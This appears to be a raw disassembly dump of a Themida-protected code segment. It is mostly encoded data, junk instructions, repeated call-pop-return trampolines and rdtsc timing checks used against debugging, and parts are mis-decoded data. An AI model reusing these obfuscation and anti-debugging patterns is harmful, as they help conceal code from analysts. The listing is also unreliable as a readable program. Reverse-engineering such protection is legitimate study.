		dd 0C3504000h, 290673D0h, 0EA0FAE70h, 0BD8B17ADh, 6141091h
		dd 0C218589h, 0ED800614h, 5E968h, 0B9510000h, 0C6022A90h
		dd 14084985h, 4E86C06h,	83000000h, 50DB0570h, 6180B560h
		dd 424448Bh, 8BFB8B66h,	0E8576000h, 7, 0A0A54D0h, 59D1C360h
		dd 5B51525Eh, 4489615Ah, 52500424h, 0FE9h, 0BF03B400h
		dd 0C11A4B35h, 0FD2015C6h, 0AE8FFB44h, 0D48A310Fh, 6A58585Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5992C350h, 0F31C3436h, 0EA7025E0h, 0B7FEC0BAh
		dd 2830F50h, 8B000000h,	2DB5FFCEh, 3306140Ch, 140371BDh
		dd 4E858D06h, 8B06143Bh, 1416BD8Dh, 6AD0FF06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F5A3C356h, 0B1EA5501h, 4085893Dh, 0E9061816h, 0Eh
		dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 0BD8304BDh, 618165Ch
		dd 850F00h, 89000001h, 14008DBDh, 61852906h, 0C606141Bh
		dd 14084985h, 81FC4906h, 0FFBB9AD7h, 4E871h, 29E90000h
		dd 0E8538C15h, 14h, 0CA262E56h,	0A72E599Ah, 8CA7C70h, 8F597D31h
		dd 48635C1Ch, 5A59F88Bh, 12E85350h, 2A000000h, 4B8516FDh
		dd 546A8DCAh, 87F8CB84h, 0EBD625D6h, 0AE84Fh, 663C0000h
		dd 0E55A3607h, 9500E97Ch, 8B5A5959h, 60042444h,	5BD08B53h
		dd 61F78B66h, 8E9008Bh,	40000000h, 215B6897h, 8904C7B7h
		dd 0B9042444h, 1762DFFCh, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C31DA68Dh
		dd 53F8B7BCh, 719531E2h, 0FF061400h, 140C2DB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8DA6BA44h, 143B4E85h, 8D0F06h, 0FF000000h, 0F9958BD0h
		dd 89061430h, 18165C85h, 0C19D0906h, 6A061434h,	418D8B04h
		dd 6806141Ch, 0B410488h, 3481D18Bh, 41148824h, 56006A0Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 9722FA60h, 0E9608C5Ah, 5, 1B4057C7h,	5BD0970h, 61061417h
		dd 0C46A6D68h, 12E8B9h,	8D9B0000h, 0A2F94831h, 2DA14FA3h
		dd 0A163C3EAh, 2FC22879h, 24048159h, 463C9593h,	38F0Fh
		dd 8B660000h, 0F006AD3h, 95FFC8B7h, 6142B15h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D2C35242h, 0EE960h
		dd 80D70000h, 0BA68B082h, 7F7B282h, 35504231h, 38D0Fh
		dd 0F2800000h, 8589617Ah, 618164Ch, 711958Bh, 85C70614h
		dd 6181644h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BF8F7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF8F7	proc near		; CODE XREF: Themida_:005BF8EFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5BF8F7	endp

; ---------------------------------------------------------------------------
		lds	edx, [esi+esi*4]
		dec	eax
		les	ecx, [ebx+1419D595h]
		push	es
		push	0
		push	0
		push	edi
		call	sub_5BF91F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF91F	proc near		; CODE XREF: Themida_:005BF917p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BF91F	endp

; ---------------------------------------------------------------------------
		push	0FFFFFF99h
		aaa
		mov	edi, 16A8B9EFh
		push	0A867AF91h
		mov	dh, 4Eh
		add	dword ptr [esp], 5799506Fh
		jmp	loc_5BF950
; ---------------------------------------------------------------------------
		dw 22E7h
		dd 0BBF92342h
; ---------------------------------------------------------------------------


loc_5BF950:				; CODE XREF: Themida_:005BF945j
		push	eax
		mov	edx, 1D2F8C46h
		mov	[esp], eax
		mov	cl, 76h
		push	0Bh
		push	0
		push	eax
		call	sub_5BF968
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF968	proc near		; CODE XREF: Themida_:005BF960p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BF968	endp

; ---------------------------------------------------------------------------
		imul	ecx, [edi], -74h
		add	eax, 66000000h
		sub	ecx, 0BD8BE642h
		mov	ch, 15h
		adc	al, 6
		lea	eax, [ebp+6181619h]
		mov	[ebp+614045Dh],	eax
		nop
		jmp	loc_5BF9AB
; ---------------------------------------------------------------------------
		dd 7DA318C6h, 0B6D26F43h, 8849124Eh
		db 99h,	85h, 44h
; ---------------------------------------------------------------------------


loc_5BF9AB:				; CODE XREF: Themida_:005BF997j
		push	eax
		pusha
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc
		jmp	loc_5BF9C3
; ---------------------------------------------------------------------------
		dd 0FE84194Bh
; ---------------------------------------------------------------------------
		xor	al, 0C4h
		inc	edx


loc_5BF9C3:				; CODE XREF: Themida_:005BF9B7j
		pop	edx
		pop	eax
		mov	ax, 0E45h
		popa
		nop
		mov	[ebp+61410ADh],	eax
		call	dword ptr [ebp+614010Dh]
		push	0
		push	esi
		call	sub_5BF9E2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF9E2	proc near		; CODE XREF: Themida_:005BF9DAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5BF9E2	endp

; ---------------------------------------------------------------------------
		align 4
		imul	ecx, [edi+ecx-49h], -38h
		lea	esi, [ebp+6181623h]
		mov	edx, 16A545EBh
		xchg	eax, esi
		push	eax
		pusha
		jmp	loc_5BFA18
; ---------------------------------------------------------------------------
		dd 0AA80EF2Ah, 0C05B5961h, 3497ACC1h
; ---------------------------------------------------------------------------


loc_5BFA18:				; CODE XREF: Themida_:005BFA07j
		jbe	loc_5BFA23
		mov	ebx, 166BB907h


loc_5BFA23:				; CODE XREF: Themida_:loc_5BFA18j
		popa
		xchg	eax, esi
		push	0
		push	eax
		call	sub_5BFA30
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFA30	proc near		; CODE XREF: Themida_:005BFA28p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5BFA30	endp

; ---------------------------------------------------------------------------
		mov	edx, 25857086h
		sub	dword ptr [edi-6Eh], 2Fh
		sbb	di, 0AFB3h
		push	eax
		mov	ecx, 61FB364Dh
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5BFA62
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFA62	proc near		; CODE XREF: Themida_:005BFA5Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5BFA62	endp

; ---------------------------------------------------------------------------
		pop	esi
		lahf
		xor	eax, 562DBFABh
		mov	cx, si
		pop	edx
		sub	edi, [ebp+6140FB9h]
		call	dword ptr [ebp+6140BCDh]
		push	0
		push	eax
		call	sub_5BFA94
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFA94	proc near		; CODE XREF: Themida_:005BFA8Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5BFA94	endp

; ---------------------------------------------------------------------------
		mov	dh, 66h
		jmp	loc_5E7EBA
; ---------------------------------------------------------------------------
		align 4
		dd 0E891B200h, 0Fh, 2607D6E9h, 0A965AC1h, 9820CA24h, 5F6F7E1Fh
		dd 850FC00Bh, 11h, 870FF9h, 0E9000000h,	7C7h, 7D51D1BFh
		dd 6AD0FF7Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0C80BC356h, 10D709D2h,	4CB58B29h
		dd 0B9061816h, 6EB0E4BDh, 8B20468Dh, 1406A195h,	6A046A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 6678C356h, 0E950D68Bh, 8,	2D3E9505h, 88256831h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 41BEC353h, 21B589F1h, 0FF061411h
		dd 18165C95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0D94B22E6h, 0B589074Fh, 6141CF1h
		dd 840FC00Bh, 3Ah, 12459509h, 0BA660614h, 0F0E9878Bh, 6A000006h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0DEB2C352h, 6F19A4EEh, 0FD89E6C8h, 0ACFFD181h
		dd 7E805C4Ah, 840F0020h, 6BBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0BFC35141h,	0FF58D89h, 6A600614h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 2F8EC355h, 0B985895Eh, 8D06140Ah,	6A2046h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 6C22E1C3h, 8844EC07h, 8BFBE60Ah, 14029595h, 0B5BD8906h
		dd 8906140Ch, 18164885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 1607866Bh, 122E9h, 22B96600h
		dd 66604013h, 0EF89C081h, 13E9h, 0EF781500h, 9F05DD2Eh
		dd 92163012h, 0C2979A10h, 0DFA00514h, 0BE85061h, 0ED000000h
		dd 8777D9E3h, 8D6F07Fh,	810FC9CDh, 0
; ---------------------------------------------------------------------------
		pop	edx
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5BFCD3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFCD3	proc near		; CODE XREF: Themida_:005BFCCBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BFCD3	endp

; ---------------------------------------------------------------------------
		imul	esi, [edx-6AD6B9DAh], -6Fh
		and	edx, [esi+eax]
		jnz	loc_5BFCF6
		mov	di, bx


loc_5BFCF6:				; CODE XREF: Themida_:005BFCEDj
		push	4
		adc	ecx, 609941Dh
		push	eax
		mov	edi, edx
		mov	[esp], eax
		mov	di, 4076h
		jmp	loc_5BFD13
; ---------------------------------------------------------------------------
		db 0BBh, 5Dh, 0FFh
		db 87h,	0B7h, 0DDh
; ---------------------------------------------------------------------------


loc_5BFD13:				; CODE XREF: Themida_:005BFD08j
		call	dword ptr [ebp+618165Ch]
		push	0
		push	ebx
		call	sub_5BFD24
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFD24	proc near		; CODE XREF: Themida_:005BFD1Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5BFD24	endp

; ---------------------------------------------------------------------------
		js	short loc_5BFD96
		jge	$+6
		or	esi, [ebp+61416F5h]
		popa
		sub	cl, 0BEh
		mov	ebx, eax
		pusha
		stc
		popa
		pop	eax
		pusha
		mov	dx, bx
		movsx	ebx, bx
		popa
		or	ebx, ebx
		jz	loc_5BFDAB
		push	0
		push	edx
		call	sub_5BFD67
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFD67	proc near		; CODE XREF: Themida_:005BFD5Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5BFD67	endp

; ---------------------------------------------------------------------------
		inc	ecx
		enter	5138h, 81h
		stosd
		mov	edi, [ebp+61410EDh]
		jmp	loc_5C029F
; ---------------------------------------------------------------------------
		dd 0E851006Ah, 3, 59C35920h
		db 89h,	4Ch
; ---------------------------------------------------------------------------


loc_5BFD96:				; CODE XREF: Themida_:005BFD34j
		and	al, 4
		add	dword ptr [esp+4], 1Bh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 7
		dd 6E0861ABh
		db 0F8h, 0D0h, 0BAh
; ---------------------------------------------------------------------------


loc_5BFDAB:				; CODE XREF: Themida_:005BFD56j
		cmp	byte ptr [eax],	0
		jnz	near ptr dword_5BFAAC+1E1h
		push	0
		push	ebp
		call	sub_5BFDBF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFDBF	proc near		; CODE XREF: Themida_:005BFDB7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BFDBF	endp

; ---------------------------------------------------------------------------
		push	ds
		lodsd
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5BFDE4
; ---------------------------------------------------------------------------
		mov	edx, 0EB2D4D4h


loc_5BFDDC:				; CODE XREF: Themida_:005BFE23j
		dec	eax
		jge	$+6
		clc


loc_5BFDE4:				; CODE XREF: Themida_:005BFDD2j
		cmp	eax, [ebp+6181648h]
		jb	loc_5BFE60
		adc	di, 0AF22h
		cmp	byte ptr [eax],	5Ch
		jz	loc_5BFE60
		push	0
		push	eax
		call	sub_5BFE09
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFE09	proc near		; CODE XREF: Themida_:005BFE01p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BFE09	endp

; ---------------------------------------------------------------------------
		mov	al, 0Ch
		push	esi
		cmp	eax, 80F2713Fh
		cmp	[edi], ch
		jnz	loc_5BFDDC
		push	0
		push	edi
		call	sub_5BFE34
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFE34	proc near		; CODE XREF: Themida_:005BFE2Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BFE34	endp

; ---------------------------------------------------------------------------
		dd 0E81E4A88h, 0Dh, 0AD3C7ABBh,	27C05149h, 94E74335h, 0B18531FAh
		dd 5A06141Bh
; ---------------------------------------------------------------------------


loc_5BFE60:				; CODE XREF: Themida_:005BFDEAj
					; Themida_:005BFDF8j
		inc	eax
		push	0
		push	ecx
		call	sub_5BFE6C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFE6C	proc near		; CODE XREF: Themida_:005BFE64p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5BFE6C	endp

; ---------------------------------------------------------------------------
		cmp	al, 92h
		sub	dl, cs:[eax-58A0D08Bh]
		imul	esi, [ecx], -4Bh
		xchg	eax, ecx
		add	[esi+eax], edx
		cmp	dword ptr [ebp+6181650h], 0
		jz	loc_5C008E
		push	0
		push	edx
		call	sub_5BFEA4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFEA4	proc near		; CODE XREF: Themida_:005BFE9Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BFEA4	endp

; ---------------------------------------------------------------------------
		dd 0D1B7DBA7h, 7BB96A50h, 11E9A77Ch, 14000000h,	19E20E3Fh
		dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 9E9h, 9534B500h, 0C7198CD7h
		dd 66903B86h, 5039C3BAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 7D45B376h, 0E95FA085h
		dd 8, 92A877E4h, 34D1B342h, 0FCD98166h,	6880F31h, 1000000h
		dd 1434159Dh, 50850306h, 60061816h, 51F6B70Fh, 6650615Bh
		dd 489F98Bh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BD2BA6D2h, 61401C9h, 6A046Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0C1EC32C3h, 0BF0F5220h, 0F505FCEh, 28Ah, 89CF8B00h
		dd 0BD8B2404h, 6140DD9h, 165C95FFh, 6A0618h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D88B4FC3h
		dd 4B5BD8Bh, 0E8580614h, 13h, 4BE35760h, 0A7D64958h, 4CAD028h
		dd 0E50B9D47h, 3139FE03h, 140FFD85h, 0DB0B5F06h, 4B840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 81664DC3h, 0E9AE3ADAh, 28Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 21C35646h, 8902519Bh
		dd 1426959Dh, 0C606h, 87FEB966h, 0A219501h, 6A580614h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h
; ---------------------------------------------------------------------------


loc_5C005C:				; DATA XREF: ___:off_443EACo
		push	edx
		retn
; ---------------------------------------------------------------------------
		dw 6866h
		dd 843EDA00h, 3F282C25h, 0CE8h,	6AAD0F00h, 10238B74h, 0E3146025h
		dd 0FE936h, 51AE0000h, 70C773BFh, 0B7B0775Ch, 722D798Ch
		db 1, 59h
; ---------------------------------------------------------------------------


loc_5C008E:				; CODE XREF: Themida_:005BFE93j
		push	eax
		mov	dx, 0C9EDh
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5C00A1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00A1	proc near		; CODE XREF: Themida_:005C0099p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5C00A1	endp

; ---------------------------------------------------------------------------
		xor	byte ptr [esi+esi*8], 0D7h
		ja	short loc_5C00FC
		or	[eax+0Fh], eax
		mov	bh, 0FBh
		push	1Eh
		push	0
		push	ebp
		call	sub_5C00C9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00C9	proc near		; CODE XREF: Themida_:005C00C1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C00C9	endp

; ---------------------------------------------------------------------------
		db 1Bh,	85h, 66h
		dd 2C25D181h, 57525050h, 830Fh,	0F5A0000h, 89585A31h, 95FF2404h
		dd 618165Ch, 1219958Bh
; ---------------------------------------------------------------------------


loc_5C00FC:				; CODE XREF: Themida_:005C00B5j
		adc	al, 6
		sub	ecx, [ebp+6141FD5h]
		mov	ebx, eax
		push	0
		push	edi
		call	sub_5C0111
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0111	proc near		; CODE XREF: Themida_:005C0109p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C0111	endp

; ---------------------------------------------------------------------------
		adc	ah, bh
		and	di, 2C3Ch
		pop	eax
		mov	dl, 0E9h
		or	ebx, ebx
		jz	loc_5C015F
		mov	ecx, 32009548h
		jmp	loc_5C029F
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C0148
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0148	proc near		; CODE XREF: Themida_:005C0140p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C0148	endp

; ---------------------------------------------------------------------------
		dd 81662DDAh
		db 0F7h, 0E9h, 0Bh
; ---------------------------------------------------------------------------


loc_5C015F:				; CODE XREF: Themida_:005C012Dj
		push	eax
		pusha
		call	sub_5C016B
		sub	eax, 0BE632AB3h

; =============== S U B	R O U T	I N E =======================================



sub_5C016B	proc near		; CODE XREF: Themida_:005C0161p

arg_20		= dword	ptr  24h

		mov	esi, 403356F3h
		pop	esi
		push	eax
		push	edx
		rdtsc
		jge	$+6
		pop	edx
		pop	eax
		popa
		mov	[esp-24h+arg_20], eax
		mov	ecx, [ebp+6142BFDh]
		push	dword ptr [ebp+618163Ch]
		push	0
		push	edi
		call	sub_5C0198
		and	[edi-3Dh], bl
sub_5C016B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C0198	proc near		; CODE XREF: sub_5C016B+25p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C0198	endp

; ---------------------------------------------------------------------------
		adc	ecx, 164095FFh
		sbb	[esi], al
		push	0
		push	eax
		call	sub_5C01BB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C01BB	proc near		; CODE XREF: Themida_:005C01B3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C01BB	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F15A1A1Ah, 0B50EEC71h, 0FC00B38h, 5D85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 61CA8AE5h, 162DBD89h, 85C70614h, 6181644h, 1, 0ABD9BF66h
		dd 8AE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 34A4DBA6h, 0BF66DF7Ah, 6A616343h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0D214C353h, 0BE90EFDh, 0D9000000h, 0D200304Ch
		dd 84DDA731h, 0C681C1F2h, 11Ch,	130FCA81h, 91E92F17h, 6AFFFFF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h
; ---------------------------------------------------------------------------


loc_5C028C:				; CODE XREF: Themida_:005C02AAj
		inc	esp
		and	al, 4
		push	ss
; ---------------------------------------------------------------------------
		dd 46000000h, 0A5C9C356h, 61858901h
; ---------------------------------------------------------------------------
		sub	edx, [esi+eax]


loc_5C029F:				; CODE XREF: Themida_:005BFD83j
					; Themida_:005C0138j
		call	near ptr loc_5C02A4+4


loc_5C02A4:				; CODE XREF: Themida_:loc_5C029Fp
		add	[eax-469A0000h], al
		jnp	short loc_5C028C
		push	eax
		mov	dh, 0FCh
		mov	eax, [esp+4]
		mov	edi, 3D78570Bh
		mov	eax, [eax]
		mov	di, 0C69Ah
		mov	[esp+4], eax
		push	eax
		push	edx
		push	eax
		push	edx
		push	esi
		pop	edi
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		rdtsc
		push	eax
		jmp	loc_5C02E0
; ---------------------------------------------------------------------------
		pop	ebp
		cmp	eax, 40991D34h


loc_5C02E0:				; CODE XREF: Themida_:005C02D5j
		pop	ecx
		pop	edx
		pop	eax
		pop	eax
		mov	[ebp+6142559h],	edi
		push	0
		mov	ecx, [ebp+61434A5h]
		push	dword ptr [ebp+618164Ch]
		jo	loc_5C0308
		jge	loc_5C0308
		mov	cx, 0D164h


loc_5C0308:				; CODE XREF: Themida_:005C02F8j
					; Themida_:005C02FEj
		call	dword ptr [ebp+6140C21h]
		jmp	loc_5C0322
; ---------------------------------------------------------------------------
		db 5
		dd 80F83E66h, 0E2C20D1Dh, 3CB07645h
		db 0A3h, 81h
; ---------------------------------------------------------------------------


loc_5C0322:				; CODE XREF: Themida_:005C030Ej
		mov	eax, [ebp+6181644h]
		jbe	loc_5C0334
		mov	[ebp+6141581h],	edx


loc_5C0334:				; CODE XREF: Themida_:005C0328j
		push	eax
		jnz	loc_5C0354
		jmp	loc_5C0354
; ---------------------------------------------------------------------------
		dd 9F0013C5h, 1A332BA7h, 2B218799h, 0D23DDBA5h,	1CDDAF2Ch
; ---------------------------------------------------------------------------


loc_5C0354:				; CODE XREF: Themida_:005C0335j
					; Themida_:005C033Bj
		mov	[esp], eax
		cmc
		lea	eax, [ebp+6181654h]
		mov	edx, 74E91181h
		nop
		call	sub_5C037A
		inc	edi
		in	eax, 87h	; DMA page register 74LS612:
					; Channel 0 (address bits 16-23)
		jge	short sub_5C03CD
		movsd
		mov	dword ptr [edx], 8AA1622Fh
		add	al, 87h
; ---------------------------------------------------------------------------
		db 62h
		db 0C9h, 89h

; =============== S U B	R O U T	I N E =======================================



sub_5C037A	proc near		; CODE XREF: Themida_:005C0364p
		push	eax
		mov	dx, cx
		pop	ecx
		pop	edi
		push	eax
		mov	cx, 5746h
		nop
		call	near ptr loc_5C039D+1
		sbb	esi, 4Dh
		push	ds
		sub	ah, [eax]
		cmp	[ecx+1], bh
		icebp
		dec	esi
		pop	ebx
		fild	word ptr [ecx]
		pop	ds
		popa
		xor	al, 0E1h


loc_5C039D:				; CODE XREF: Themida_:005C03C8j
					; sub_5C037A+Cp ...
		lea	esi, [edx-7A72A5B2h]
sub_5C037A	endp ; sp-analysis failed

		adc	[esi], edx
		sbb	[esi], al
		movzx	edi, bx
		push	eax
		pusha
		mov	esi, edi
		mov	ecx, 58F68762h
		popa
		mov	[esp], eax
		call	sub_5C03CD
		sbb	eax, 18297ED1h
		lodsb
		cld
		shr	dword ptr [edi], 1
		jnp	short near ptr loc_5C039D+4
		cmpsd
		jl	short loc_5C039D
		xlat
		stosb
		outsb

; =============== S U B	R O U T	I N E =======================================



sub_5C03CD	proc near		; CODE XREF: Themida_:005C036Cj
					; Themida_:005C03B7p
		add	[ebp+614032Dh],	edi
		pop	edx
		call	dword ptr [ebp+6140895h]
		adc	cx, 0D72Dh
		mov	eax, eax
		and	edx, [ebp+6142A59h]
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5C03F9
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5C040C


loc_5C03F9:				; CODE XREF: sub_5C03CD+21j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+616A58Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C040C:				; CODE XREF: sub_5C03CD+2Aj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5C0426
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+616A48Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0426:				; CODE XREF: sub_5C03CD+46j
		mov	cl, bl
		push	0
		push	ecx
		call	sub_5C0433
		and	[ecx-3Dh], bl
sub_5C03CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C0433	proc near		; CODE XREF: sub_5C03CD+5Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C0433	endp

; ---------------------------------------------------------------------------
		lahf
		jl	short loc_5C04B1
		lahf
		js	short loc_5C0482
		sub	[edx-2F745C38h], al
		mov	eax, eax
		push	0
		push	edi
		call	sub_5C045C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C045C	proc near		; CODE XREF: Themida_:005C0454p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5C045C	endp

; ---------------------------------------------------------------------------
		cmp	bl, dl
		ror	byte ptr [ecx+14122595h], 6
		pop	eax
		push	0
		push	esi
		call	sub_5C0481
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0481	proc near		; CODE XREF: Themida_:005C0479p

arg_4		= dword	ptr  8

		pop	esi


loc_5C0482:				; CODE XREF: Themida_:005C0447j
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5C0481	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6Bh,	0C2h, 8
		dd 27C28000h, 0BF0FC08Bh, 77858DD2h, 6A061816h,	3E85100h
		dd 20000000h, 8959C359h
		db 4Ch
; ---------------------------------------------------------------------------


loc_5C04B1:				; CODE XREF: Themida_:005C0444j
		and	al, 4
		add	dword ptr [esp+4], 16h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		or	byte ptr [esi],	8Fh
		mov	edi, [ebp+6142FB1h]
		mov	edx, 0B996CFAh
		movsx	edx, bx
		mov	[ebp+6140A49h],	eax
